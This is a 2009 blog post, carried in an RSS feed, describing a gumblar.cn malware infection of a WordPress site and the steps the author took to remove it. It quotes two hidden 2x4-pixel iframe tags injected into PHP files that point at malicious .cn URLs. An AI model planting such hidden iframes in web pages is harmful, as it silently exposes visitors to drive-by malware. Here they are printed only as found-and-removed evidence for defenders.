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	<title>Pakzilla &#187; security</title>
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		<title>How to protect your website from gumblar.cn infection</title>
		<link>http://www.pakzilla.com/2009/05/06/how-to-protect-your-website-from-gumblarcn-infection/</link>
		<comments>http://www.pakzilla.com/2009/05/06/how-to-protect-your-website-from-gumblarcn-infection/#comments</comments>
		<pubDate>Wed, 06 May 2009 06:14:12 +0000</pubDate>
		<dc:creator>Tahir Akram</dc:creator>
				<category><![CDATA[WordPress]]></category>
		<category><![CDATA[Blogging]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[Wordpress]]></category>

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		<description><![CDATA[Yesterday one of my websites got infected by a suspicious malware gumblar.cn. This website contains several exploits and trojans that can harm your system. How it starts its infection is to invoke Adobe Acrobat Reader on your machine. I found after browsing my infected site, Acrobat Reader process was running in Task Manager. According to [...]
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			<content:encoded><![CDATA[<p>Yesterday one of my websites got infected by a suspicious malware gumblar.cn. This website contains several exploits and trojans that can harm your system. How it starts its infection is to invoke Adobe Acrobat Reader on your machine. I found after browsing my infected site, Acrobat Reader process was running in Task Manager.</p>
<p>According to <a href="http://safebrowsing.clients.google.com/safebrowsing/diagnostic?site=http://gumblar.cn/rss/%3Fid%3D&amp;client=googlechrome&amp;hl=en-US">Google Safe Browsing Service</a></p>
<blockquote><p>What happened when Google visited this site?<br />
Of the 2 pages we tested on the site over the past 90 days, 0 page(s) resulted in malicious software being downloaded and installed without user consent. The last time Google visited this site was on 2009-05-05, and the last time suspicious content was found on this site was on 2009-05-05.<br />
Malicious software includes 2341 scripting exploit(s), 6 trojan(s).</p>
<p>This site was hosted on 1 network(s) including AS42831 (UKSERVERS).</p></blockquote>
<p><img class="aligncenter size-full wp-image-279" title="gumblar_cn_infection" src="http://www.pakzilla.com/wp-content/upload/gumblar_cn_infection.jpg" alt="gumblar_cn_infection" width="588" height="131" /><br />
I found some of php files were altered by adding a iframe at the end of the page. My infected files were &lt;my-url&gt;/wp-content/themes/&lt;my-theme-dir&gt;/index.php and &lt;my-url&gt;/wp-admin/index.php and in same directory index-extra.php. I didnt found any other file which was infected by this.</p>
<p>I manually removed this embedded iframe  &lt;iframe src=&#8221;http://liteautotop .cn/ts/in.cgi?mozila&#8221; width=2 height=4 style=&#8221;visibility: hidden&#8221;&gt;&lt;/iframe&gt;  and every things works fine.</p>
<p>If you have some type of information about this infection, people will highly appriciate who are messing arround the internet about the solution of this problem.</p>
<p>Update (5/11/09): I am able to remove this malware from my blog and WordPress admin site.</p>
<p style="text-align: left;"><strong>Removal</strong></p>
<ul>
<li>Removed image.php file from all images folder. image.php infection only found in &#8216;image&#8217; folder. Make sure you didn&#8217;t remove the orignal image.php file. If your orignal file infected, only remove malicious code</li>
<li>Looked for iframe code added on the top or bottom of php page and remove it. I found this iframe which I removed. &lt;iframe src=&#8221;http: //bigtruckstopseek .cn/ts/in.cgi?banner2&#8243; width=2 height=4 style=&#8221;visibility: hidden&#8221;&gt;</li>
<li>Checked all PHP, HTML and JS  files for added anonymous Java Script methods. I found all JS files infected in wp-include directory</li>
<li>Put httpdoc directory permission to 755</li>
<li>Scaned my computer with Malwarebytes&#8217; Anti-Malware, which identified several threats and removed</li>
<li>Updated my AVG Anti Virus</li>
<li>Changed my FTP password</li>
<li>I did all this manual code removal activity from my Pleask control panel</li>
</ul>
<p>Please fell free to make comment and your suggestions to make more security measures to prevent such threats.</p>
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</ol></p>]]></content:encoded>
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